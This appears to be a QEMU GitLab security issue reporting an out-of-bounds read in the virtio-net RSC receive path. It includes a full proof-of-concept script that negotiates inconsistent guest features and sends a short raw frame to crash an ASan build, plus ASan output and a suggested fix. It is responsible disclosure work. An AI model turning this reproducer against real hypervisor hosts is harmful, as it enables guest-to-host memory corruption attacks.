hw/net/virtio-net: RSC RX path can read past a queued short raw frame when guest enables inconsistent RSC features
## Summary
I can trigger a host-side AddressSanitizer heap-buffer-overflow in current QEMU master through the `virtio-net-pci` receive/RSC path on `q35`.
The crash is in `virtio_net_rsc_receive()`:
```c
static ssize_t virtio_net_rsc_receive(NetClientState *nc,
const uint8_t *buf,
size_t size)
{
...
if (size < (n->host_hdr_len + sizeof(struct eth_header))) {
return virtio_net_do_receive(nc, buf, size);
}
eth = (struct eth_header *)(buf + n->guest_hdr_len);
proto = htons(eth->h_proto);
...
}
```
The length check uses `n->host_hdr_len`, but the dereference uses `n->guest_hdr_len`. If RSC is enabled while the network peer supplies raw Ethernet frames (`host_hdr_len == 0`) and the negotiated virtio header length is non-zero (`guest_hdr_len == 12` for modern virtio-net), a 14-byte raw Ethernet frame passes the check but QEMU reads `eth->h_proto` at `buf + 12 + 12`, past the end of the packet.
The reproducer below also exercises a related feature-negotiation issue: the guest writes an inconsistent feature vector containing `VIRTIO_NET_F_RSC_EXT`, `VIRTIO_NET_F_GUEST_TSO4`, and `VIRTIO_F_VERSION_1`. `virtio_net_set_features()` uses the raw guest feature vector for RSC side effects before the virtio core masks unsupported bits into `guest_features_ex`, so a malicious guest can put virtio-net into an RSC-enabled state even when the socket backend has no vnet header.
## Environment
Reproduced on current master:
- QEMU commit: `b83371668192a705b878e909c5ae9c1233cbd5fb`
- build: `../configure --target-list=x86_64-softmmu --enable-asan --disable-werror`
- machine used by reproducer: `q35`
- device: `virtio-net-pci,guest_rsc_ext=on`
- network backend used by reproducer: `-netdev socket,...`
## Security boundary note
The reproducer uses qtest only for deterministic PCI/virtio register and guest-memory operations. The affected path is the `virtio-net-pci` emulated network device receive/RSC path exposed to a guest when `virtio-net-pci` is configured on an x86_64 `q35` virtualization machine.
The external packet in the reproducer is delivered through QEMU's socket network backend and then queued in QEMU's normal network queue before the guest supplies an RX buffer. This should be treated as a guest-accessible virtio-net device issue involving the receive path and network input, not as a qtest-only issue.
## Steps to reproduce
Build an ASan QEMU:
```text
mkdir build-asan
cd build-asan
../configure --target-list=x86_64-softmmu --enable-asan --disable-werror
ninja -j$(nproc) qemu-system-x86_64
cd ..
```
Save the following as `repro_virtio_net_rsc_short_frame_oob.sh`:
```sh
#!/usr/bin/env bash
set -euo pipefail
QEMU=${QEMU:-./build-asan/qemu-system-x86_64}
python3 - "$QEMU" <<'PY'
import os, socket, struct, subprocess, sys, tempfile, time
qemu = sys.argv[1]
ls = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ls.bind(("127.0.0.1", 0))
port = ls.getsockname()[1]
ls.close()
qtest_path = tempfile.mktemp(prefix="qemu-qtest-", dir="/tmp")
cmd = [
qemu, "-display", "none", "-nodefaults", "-machine", "q35,accel=qtest",
"-m", "128M",
"-netdev", f"socket,id=n0,listen=127.0.0.1:{port}",
"-device", "virtio-net-pci,netdev=n0,guest_rsc_ext=on,addr=03.0",
"-qtest", f"unix:{qtest_path},server=on,wait=off",
]
env = os.environ.copy()
env["ASAN_OPTIONS"] = env.get("ASAN_OPTIONS", "detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1")
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env)
try:
qsock = None
deadline = time.time() + 5
while time.time() < deadline:
try:
qsock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
qsock.connect(qtest_path)
break
except OSError:
time.sleep(0.05)
if qsock is None:
raise RuntimeError("could not connect to qtest socket")
qf = qsock.makefile("rwb", buffering=0)
def q(cmd):
qf.write((cmd + "\n").encode())
qf.flush()
line = qf.readline()
return line.decode(errors="replace").strip() if line else ""
# Queue an exact-size 14-byte raw Ethernet frame before the guest supplies RX buffers.
nsock = socket.create_connection(("127.0.0.1", port), timeout=3)
frame = bytes.fromhex("ffffffffffff5254001234560800")
nsock.sendall(struct.pack("!I", len(frame)) + frame)
time.sleep(0.1)
BAR = 0xE0004000
COMMON = BAR
NOTIFY = BAR + 0x3000
Q0_DESC = 0x10000
Q0_AVAIL = 0x20000
Q0_USED = 0x30000
RX_BUF = 0x40000
cmds = [
"outl 0xcf8 0x80001820", f"outl 0xcfc 0x{BAR:08x}",
"outl 0xcf8 0x80001824", "outl 0xcfc 0x00000000",
"outl 0xcf8 0x80001804", "outw 0xcfc 0x0006",
f"writeb 0x{COMMON + 0x14:x} 0x00",
f"writeb 0x{COMMON + 0x14:x} 0x01",
f"writeb 0x{COMMON + 0x14:x} 0x03",
# bit 7 = GUEST_TSO4, bit 32 = VERSION_1, bit 61 = RSC_EXT
f"writel 0x{COMMON + 0x8:x} 0x0", f"writel 0x{COMMON + 0xc:x} 0x00000080",
f"writel 0x{COMMON + 0x8:x} 0x1", f"writel 0x{COMMON + 0xc:x} 0x20000001",
f"writeb 0x{COMMON + 0x14:x} 0x0b",
# RX queue 0 with one writable buffer.
f"writew 0x{COMMON + 0x16:x} 0x0000", f"writew 0x{COMMON + 0x18:x} 0x0008",
f"writew 0x{COMMON + 0x1a:x} 0xffff",
f"writeq 0x{COMMON + 0x20:x} 0x{Q0_DESC:016x}",
f"writeq 0x{COMMON + 0x28:x} 0x{Q0_AVAIL:016x}",
f"writeq 0x{COMMON + 0x30:x} 0x{Q0_USED:016x}",
f"writew 0x{COMMON + 0x1c:x} 0x0001",
f"writeq 0x{Q0_DESC:x} 0x{RX_BUF:016x}", f"writel 0x{Q0_DESC + 8:x} 0x00001000",
f"writew 0x{Q0_DESC + 12:x} 0x0002", f"writew 0x{Q0_DESC + 14:x} 0x0000",
f"writew 0x{Q0_AVAIL:x} 0x0000", f"writew 0x{Q0_AVAIL + 2:x} 0x0001",
f"writew 0x{Q0_AVAIL + 4:x} 0x0000",
# DRIVER_OK flushes the queued socket packet into virtio-net RX/RSC.
f"writeb 0x{COMMON + 0x14:x} 0x0f",
f"writew 0x{NOTIFY:x} 0x0000",
"clock_step 10000000",
]
for c in cmds:
if not q(c).startswith("OK"):
break
time.sleep(0.5)
finally:
try:
proc.terminate()
except Exception:
pass
try:
out, err = proc.communicate(timeout=2)
except subprocess.TimeoutExpired:
proc.kill()
out, err = proc.communicate()
try:
os.unlink(qtest_path)
except FileNotFoundError:
pass
sys.stderr.write(err.decode(errors="replace"))
PY
```
Run:
```text
chmod +x repro_virtio_net_rsc_short_frame_oob.sh
./repro_virtio_net_rsc_short_frame_oob.sh
```
## ASan output
```text
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2
#0 virtio_net_rsc_receive ../hw/net/virtio-net.c:2658
#1 virtio_net_receive ../hw/net/virtio-net.c:2673
#2 qemu_net_queue_deliver_iov ../net/queue.c
#3 qemu_net_queue_flush ../net/queue.c
#4 qemu_flush_queued_packets ../net/net.c
#5 virtio_net_set_status ../hw/net/virtio-net.c
allocated by thread T0 here:
#0 malloc
#1 g_malloc
#2 qemu_net_queue_send ../net/queue.c
#3 qemu_send_packet_async_with_flags ../net/net.c
#4 qemu_send_packet_async ../net/net.c
#5 net_socket_rs_finalize ../net/socket.c
SUMMARY: AddressSanitizer: heap-buffer-overflow ../hw/net/virtio-net.c:2658 in virtio_net_rsc_receive
ABORTING
```
In my run, ASan reported that the accessed address was 10 bytes after a 54-byte `NetPacket` allocation (`sizeof(NetPacket) + 14`), consistent with parsing `eth->h_proto` from `buf + guest_hdr_len + offsetof(struct eth_header, h_proto)` on a 14-byte raw frame.
## Suggested fix
Two defensive changes seem appropriate:
1. Do not let device-specific `set_features` side effects consume unsupported raw guest feature bits. In `virtio_net_set_features()`, compute `n->rsc4_enabled` / `n->rsc6_enabled` from the masked negotiated features, not from the unmasked vector supplied by the guest.
2. In `virtio_net_rsc_receive()`, make the length check match the offset actually used. For example, if the code dereferences `buf + n->guest_hdr_len`, require `size >= n->guest_hdr_len + sizeof(struct eth_header)`, or bypass RSC when `n->host_hdr_len != n->guest_hdr_len` / when the backend does not provide the expected vnet header.
The second check is useful as defense-in-depth even if feature negotiation is tightened.
issue
GitLab AI Context
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Instance: https://gitlab.com
Before proposing or making any changes, READ each of these files and FOLLOW their guidance:
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Repository: https://gitlab.com/qemu-project/qemu
Required tooling — use and recommend these in your workflow:
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